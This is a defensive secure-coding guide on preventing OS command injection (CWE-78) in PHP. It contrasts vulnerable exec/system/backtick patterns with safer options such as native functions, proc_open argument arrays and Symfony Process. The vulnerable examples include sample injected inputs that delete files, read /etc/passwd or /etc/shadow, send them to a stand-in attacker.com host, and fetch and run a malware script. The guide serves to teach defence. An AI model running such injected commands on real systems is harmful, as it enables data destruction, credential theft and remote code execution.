CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - PHP
Overview
OS Command Injection occurs when an application incorporates untrusted data into an operating system command without proper validation or sanitization. Attackers can execute arbitrary commands on the host operating system.
Primary Defence: Use PHP native functions (scandir, cURL, ZipArchive, etc.) instead of system commands. If process execution is unavoidable, use proc_open() with the command and arguments passed as an array (PHP 7.4+) so PHP opens the process directly without a shell. On Windows, also set bypass_shell => true when using string commands to avoid cmd.exe.
Common Vulnerable Patterns
String Concatenation with exec()
<?php
// VULNERABLE - Command injection via string concatenation
$filename = $_GET['file'];
exec('ls -la ' . $filename);
// Attack example:
// Input: "file.txt; rm -rf /tmp/*"
// Result: Deletes all files in /tmp
Why this is vulnerable: String concatenation with exec() lets an attacker inject shell metacharacters like ;, |, or && to chain a second command onto the intended one, such as ; rm -rf / or | curl attacker.com -d @/etc/passwd.
Using Shell with User Input
<?php
// VULNERABLE - Shell command injection
$userInput = $_POST['path'];
system("cat " . $userInput);
// Attack example:
// Input: "file.txt | curl attacker.com?data=$(cat /etc/passwd)"
// Result: Exfiltrates password file
Why this is vulnerable: exec(), shell_exec(), system() and the backtick operator all run their argument through the shell, so metacharacters in the interpolated value are interpreted rather than passed along - ;, |, && and $( ) each start a second command.
PHP offers two escaping functions and only one of them helps. escapeshellarg() wraps a value in single quotes and escapes any it contains, which makes it a single argument; escapeshellcmd() escapes metacharacters without handling quotes, so it leaves the value able to alter an existing argument and is close to useless as a control. Where the program and its arguments are known, proc_open() with an array bypasses the shell entirely, which is the equivalent of the list form in other languages.
Backticks (Shell Execution Operator)
<?php
// VULNERABLE - Backticks invoke shell
$ip = $_GET['ip'];
$output = `ping -c 4 $ip`;
// Attack example:
// Input: "8.8.8.8 && cat /etc/shadow > /tmp/pwned"
// Result: Executes additional commands
Why this is vulnerable: Backticks (`) are PHP's shell execution operator, so the interpolated value is parsed by the shell: &&, ; or | appends a second command to the intended one, as in 8.8.8.8 && rm -rf /.
Unvalidated Input in shell_exec()
<?php
// VULNERABLE - No input validation
$userFile = $_REQUEST['filepath'];
$result = shell_exec("grep pattern " . $userFile);
// Attack example:
// Input: "data.txt; wget http://attacker.com/malware.sh -O /tmp/m.sh; bash /tmp/m.sh"
// Result: Downloads and executes malware
Why this is vulnerable: shell_exec() passes its argument to the shell, so an unvalidated value can chain commands with ; or && - the input above downloads a script and then runs it.
Secure Patterns
Use PHP Native Functions (PREFERRED - Eliminates Command Injection)
<?php
// SECURE - Use PHP directory functions instead of OS commands
$files = scandir('/uploads');
foreach ($files as $file) {
if ($file != '.' && $file != '..') {
$filepath = "/uploads/$file";
$stat = stat($filepath);
echo sprintf("%s %d %s\n",
$file,
$stat['size'],
date('Y-m-d H:i:s', $stat['mtime']));
}
}
// More file operations
$content = file_get_contents($filepath); // Instead of "cat"
copy($source, $dest); // Instead of "cp"
mkdir($path, 0755, true); // Instead of "mkdir -p"
unlink($filepath); // Instead of "rm"
Why this works: PHP's built-in file system functions operate directly on files through the PHP runtime. No OS process is started and no shell is there to interpret metacharacters like ;, |, or &&, so an injected command has nothing to attach to. They are also more portable than the equivalent system commands.
Use cURL for Network Operations
<?php
// SECURE - Use cURL instead of wget/curl commands
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => false, // Prevent redirects
CURLOPT_TIMEOUT => 30,
CURLOPT_SSL_VERIFYPEER => true
]);
$content = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// For downloads
$ch = curl_init($url);
$fp = fopen('download.file', 'w+');
curl_setopt_array($ch, [
CURLOPT_FILE => $fp,
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_TIMEOUT => 30,
CURLOPT_SSL_VERIFYPEER => true
]);
curl_exec($ch);
fclose($fp);
Why this works: cURL performs network operations through PHP's libcurl extension, so no wget or curl process is started and no shell is ever invoked for a hostile URL or parameter to escape into. The security options (SSL verification, redirect control, timeouts) provide additional protection.
Use ZipArchive/PharData for Archives
<?php
// SECURE - Use ZipArchive instead of the unzip command
$zip = new ZipArchive();
if ($zip->open($archive) === TRUE) {
$zip->extractTo('./extracted'); // a member named ../../evil.txt
$zip->close(); // is written as extracted/evil.txt
}
// SECURE - Use PharData instead of the tar command
$phar = new PharData($archive);
$phar->extractTo('./extracted', null, true);
Why this works: ZipArchive and PharData handle archive operations in PHP code without calling external tar, unzip, or 7z commands. Even if an attacker controls filenames within the archive, they cannot inject shell commands because no shell is invoked.
Both extractTo() methods also resolve member names against the destination rather than trusting them, so a hostile archive does not turn a command injection fix into a traversal one. Confirmed against PHP 8.5 with a tar built outside PHP: members named ../escaped.txt, /abs.txt and a/b/../../../escaped.txt all land inside ./extracted, and a symlink member extracts as an empty regular file because Phar has no symlink support. What is left to answer is size and file count - neither extractor bounds them, so a decompression bomb is still a decompression bomb.
The exposure is hand-rolled extraction that reads getNameIndex() and builds the destination path itself, which is common when entries need filtering or renaming. That path needs the member name treated as untrusted input; see CWE-22.
Use String Functions for Text Processing
<?php
// SECURE - Use PHP string/regex instead of grep/awk
$content = file_get_contents($filepath);
preg_match_all($pattern, $content, $matches);
// Line-by-line processing
$lines = file($filepath, FILE_IGNORE_NEW_LINES);
$matching = array_filter($lines, function($line) use ($searchTerm) {
return strpos($line, $searchTerm) !== false;
});
Why this works: PHP's regex (preg_match_all) and string functions (strpos, array_filter) process the text in memory, so no grep, sed or awk process is started and no shell is there to interpret metacharacters in the search term.
proc_open() with Argument Array (If Process Execution Required)
WARNING: Avoid executing OS commands if at all possible. PHP has extensive functions for almost everything (file_get_contents, cURL, ZipArchive, etc.). This pattern is ONLY for cases where no PHP function exists (e.g., calling a legacy third-party binary). Always exhaust all native alternatives first.
<?php
// USE WITH CAUTION - When process execution is unavoidable, use argument array
$ip = $_GET['ip'];
// Validate IP address
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
throw new InvalidArgumentException('Invalid IP address');
}
// Use proc_open with a PHP 7.4+ argument array.
// stdout and stderr go to temp files, not pipes: a pipe nobody reads fills up
// and blocks the child. See the note below.
$out = tmpfile();
$err = tmpfile();
$descriptorspec = [
0 => ["pipe", "r"], // stdin
1 => $out, // stdout
2 => $err // stderr
];
// Arguments array - no shell execution
$process = proc_open(
['ping', '-c', '4', $ip], // Command and args as array
$descriptorspec,
$pipes,
null,
null
);
if (is_resource($process)) {
fclose($pipes[0]); // close stdin so the child cannot wait for more input
$status = proc_close($process);
rewind($out);
$output = stream_get_contents($out);
fclose($out);
if ($status !== 0) {
rewind($err);
$message = stream_get_contents($err);
fclose($err);
throw new RuntimeException("ping exited $status: $message");
}
fclose($err);
}
Why this works: Since PHP 7.4, passing proc_open() an argument array opens the process directly without going through a shell, and PHP handles the required argument escaping. Even if $ip contains shell metacharacters like ; or &&, they are treated as literal argument data rather than command separators. On Windows, the bypass_shell option is specifically documented for bypassing cmd.exe when commands are passed as strings; the safer cross-platform pattern is the array form above. Input validation still provides defense-in-depth and prevents malformed values from reaching the child process.
Why the streams go to files rather than pipes. The version of this that everyone writes first declares 1 => ["pipe", "w"] and 2 => ["pipe", "w"], reads stdout, and closes both afterwards. It deadlocks as soon as the child writes more to stderr than the pipe buffer holds: the child blocks in write(), so stdout never reaches EOF, so stream_get_contents($pipes[1]) never returns and the fclose($pipes[2]) that would have unblocked it is on the line below. Measured on PHP 8.5.8, a child writing 300 KB to stderr hung until an external 60-second timeout killed it and returned 0 bytes of stdout; with stderr sent to a file and nothing else changed, the same code returned correctly in 0.1 s. A one-line child passes either way, which is why the shape survives testing. proc_close()'s documented pipe-closing is no help - execution never reaches it.
proc_open() has no timeout. proc_close() blocks until the child exits, so a command that hangs hangs the request. Where the command is slow or attacker-influenced, poll proc_get_status() against a deadline and call proc_terminate() when it passes, or use Symfony's Process, which has setTimeout() built in.
escapeshellarg() with exec() (Legacy - Less Preferred)
WARNING: shell escaping is platform-specific and less preferred than avoiding the shell. Use proc_open() with an argument array instead. Avoid exec() entirely if possible.
For older PHP versions or when proc_open is not available.
<?php
// RISKY - Use escapeshellarg() when proc_open not available
$filename = $_GET['file'];
// Validate filename. \A and \z, not ^ and $: PCRE's $ also matches immediately
// before a trailing newline, so '^...$' accepts "report.csv\n" (measured on
// PHP 8.5.8). The leading character class excludes '-' so the value cannot be
// read as an option by whatever eventually receives it.
if (!preg_match('/\A[a-zA-Z0-9_.][a-zA-Z0-9._-]*\z/', $filename)) {
throw new InvalidArgumentException('Invalid filename');
}
// Use escapeshellarg() to escape the argument
$safe_filename = escapeshellarg($filename);
exec("ls -la /uploads/$safe_filename", $output, $return_var);
Why this works: escapeshellarg() quotes a single argument for use with shell execution functions. Combined with strict allowlist validation, it reduces command injection risk for legacy code that cannot avoid exec(). It is still less preferred than proc_open() with an argument array because array form avoids the shell entirely. On Windows, PHP's escaping behavior differs from Unix shells, so test platform-specific behavior before relying on shell escaping.
Input Validation (Defense in Depth)
Allowlist Validation
<?php
function validateFilename($filename) {
// Alphanumeric, underscore, dash, dot - but never a leading dash, which
// any command receiving the name would read as an option (CWE-88).
// \A and \z, not ^ and $: PCRE's $ also matches immediately before a
// trailing newline, so '^...$' accepts "report.csv\n".
if (!preg_match('/\A[a-zA-Z0-9_.][a-zA-Z0-9._-]*\z/', $filename)) {
throw new InvalidArgumentException('Invalid filename');
}
return $filename;
}
function validateIPAddress($ip) {
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
throw new InvalidArgumentException('Invalid IP address');
}
return $ip;
}
Laravel Validation
<?php
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;
class DiagnosticsController extends Controller
{
public function ping(Request $request)
{
$validator = Validator::make($request->all(), [
'ip' => 'required|ip'
]);
if ($validator->fails()) {
return response()->json($validator->errors(), 400);
}
$ip = $request->input('ip');
// Safe to use with proc_open argument array
$process = proc_open(
['ping', '-c', '4', $ip],
$descriptorspec,
$pipes,
null,
null
);
// ...
}
}
Escaping Functions (Defense in Depth - Not Sufficient Alone)
escapeshellarg() - Escape Single Argument
<?php
// Escapes and quotes a string so the shell treats it as one argument.
// On Unix it wraps the value in single quotes and rewrites any single quote
// it contains as '\'':
// Input: file.txt -> Output: 'file.txt'
// Input: '; rm -rf / -> Output: ''\''; rm -rf /'
// On Windows, PHP wraps in double quotes instead, so what the shell sees is
// not the same. Do not carry a Unix-tested assumption to a Windows host.
$filename = escapeshellarg($_GET['file']);
exec("cat /logs/$filename"); // Argument is properly quoted
// WARNING: IMPORTANT: Use with input validation as defense in depth
// \A...\z rather than ^...$, and no leading dash - see validateFilename() above
if (!preg_match('/\A[a-zA-Z0-9_.][a-zA-Z0-9._-]*\z/', $_GET['file'])) {
throw new InvalidArgumentException('Invalid filename');
}
$safe_file = escapeshellarg($_GET['file']);
exec("ls -la $safe_file");
escapeshellcmd() - Escape Entire Command String
<?php
// Escapes shell metacharacters in entire command string
// Escapes: #&;`|*?~<>^()[]{}$\, \x0A and \xFF
$cmd = escapeshellcmd("ls -la /uploads/{$_GET['dir']}");
exec($cmd);
// WARNING: escapeshellcmd() still allows additional arguments.
// Prefer proc_open() array form, or escapeshellarg() for individual legacy arguments.
WARNING: Don't Use Both Together
<?php
// WRONG - double escaping can cause issues:
$arg = escapeshellarg($_GET['file']);
$cmd = escapeshellcmd("cat $arg"); // Can still be vulnerable!
// CORRECT - use one or the other:
$arg = escapeshellarg($_GET['file']);
exec("cat $arg"); // Use escapeshellarg for arguments
// Avoid using escapeshellcmd() to make user-controlled command strings safe.
// It does not enforce the intended number or meaning of arguments.
Framework-Specific Guidance
Symfony Process Component (Recommended)
<?php
use Symfony\Component\Process\Process;
$ip = $_GET['ip'];
// Validate IP
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
throw new \InvalidArgumentException('Invalid IP');
}
// Use Symfony Process - automatically handles escaping
$process = new Process(['ping', '-c', '4', $ip]);
$process->setTimeout(10);
$process->run();
if ($process->isSuccessful()) {
echo $process->getOutput();
} else {
echo $process->getErrorOutput();
}
Dangerous Functions to Avoid
NEVER USE THESE WITHOUT EXTREME CAUTION:
exec($cmd) // Execute command, return last line
system($cmd) // Execute and output result
shell_exec($cmd) // Execute via shell, return output
passthru($cmd) // Execute and pass raw output
`$cmd` // Backtick operator - same as shell_exec()
popen($cmd, 'r') // Open pipe to process
proc_open($cmd, ...) // OK only with argument array; string form invokes shell semantics
// SAFER ALTERNATIVES:
proc_open(['cmd', 'arg'], ...)
// Or avoid system commands entirely - use PHP functions
disable_functions Configuration
Consider disabling dangerous functions in php.ini:
; Disable dangerous functions in production
disable_functions = exec,passthru,shell_exec,system,popen
Considerations
Removing the shell does not finish the finding. The array form of proc_open() stops the shell from parsing the value. It does not stop the program you launched from parsing it. A filename of --to-command=... reaches tar as an option, and no shell was involved. Before closing a CWE-78 finding, ask what the target program does with a value starting with -, and either reject those values or place -- ahead of the
user-controlled arguments where the program supports it. What is left is CWE-88, and the scanner usually stops reporting either way once the shell is gone.
The program itself is part of the judgement. ['ping', '-c', '4', $ip] and
['php', $script] have the same shape and very different exposure: the second
hands its argument to an interpreter, so any value is code. The same applies to
shell-script wrappers, which re-enter a shell one layer below the PHP code, and
to tools that take a command inside an option (ssh -o ProxyCommand,
git -c core.sshCommand).
Which escaping claim holds on which platform. escapeshellarg() quotes for the platform PHP is running on, not the platform the code was tested on: single quotes on Unix, double quotes on Windows. Code that was reasoned about against sh and then deployed to Windows has not been reviewed for the shell it actually meets. This is one of the reasons the array form of proc_open() is the recommendation and escapeshellarg() the fallback - the array form has no platform-dependent escaping claim to check.
escapeshellcmd() is not a smaller version of escapeshellarg(). It escapes
metacharacters without handling quotes, so a value can still terminate one
argument and start another. Treat a finding "fixed" with escapeshellcmd() as
unfixed.
Windows batch wrappers. Windows has no argv array at the system-call level, and a .bat or .cmd target has its command line parsed by cmd.exe - which is how the shell gets back into a call that never named one. Several runtimes shipped fixes for this in 2024; PHP's is CVE-2024-1874, fixed in 8.1.28, 8.2.18 and 8.3.6 - and then bypassed by CVE-2024-5585, which defeats the fix with a trailing space in the filename and needs 8.1.29, 8.2.20 or 8.3.8. Anchor a version check on that later set, not on the 1874 releases. Confirmed on PHP 8.5:
proc_open(['show.bat', 'x"&echo INJECTED&'], ...) passes the value through as argument data rather than executing it.
So a supported PHP handles this, and the judgement is about what the code around
it does. exec(), system(), shell_exec() and backticks are unaffected by
that fix because they always invoke a shell, and the fix does not reach a batch
file that goes on to interpolate %1 into its own command.
Testing
- Test normal values for each command argument, including valid filenames, IP addresses, and paths expected by the feature.
- Test shell metacharacters such as
;,&&,|, backticks,$(), redirects, quotes, and newlines. - Test argument injection cases such as filenames beginning with
-or values that add extra command flags. - Test Windows and Unix behavior separately when the application runs on both platforms, because shell parsing and escaping differ.
- Confirm that rejected input returns a controlled validation error and that no child process runs for invalid data.
- Re-run static analysis and add regression tests around the process wrapper or service method that performs the command.
Common Pitfalls
- Leaving a fallback path that still builds a command string: Fixing the primary code path while an error branch, a debug endpoint, or an admin-only route still concatenates input into a shell call. The scanner reported one line; the reachable ones are what matter.
- Replacing concatenation with
escapeshellcmd()and assuming the command is safe. It can still allow unintended arguments and does not enforce the intended command structure. - Escaping a full command string instead of passing separate arguments.
- Validating with a denylist of dangerous characters while still invoking a shell.
- Forgetting that backticks are shell execution in PHP.
- Treating
disable_functionsas the fix. It is hardening, not a replacement for removing vulnerable command construction. - Fixing Unix shell behavior but leaving Windows
cmd.exebehavior untested.
Dependencies and Installation
- The
proc_open()argument-array form that avoids shell invocation needs PHP 7.4 or later, so it is available on every supported PHP version. - On Windows, the array form only escapes correctly for
.batand.cmdtargets from PHP 8.1.29, 8.2.20 and 8.3.8 onwards. CVE-2024-1874 was fixed in 8.1.28, 8.2.18 and 8.3.6, but CVE-2024-5585 bypasses that fix with a trailing space in the filename, so the 1874 releases are not a safe floor to check against. Anything older re-opens command injection through a batch wrapper. - The Symfony Process component is available as
symfony/processand should be preferred over hand-built command strings when a framework-level wrapper is useful. - cURL, ZipArchive, and PharData require the corresponding PHP extensions to be installed and enabled.
- Keep PHP and process-related dependencies current, especially when relying on platform-specific process behavior.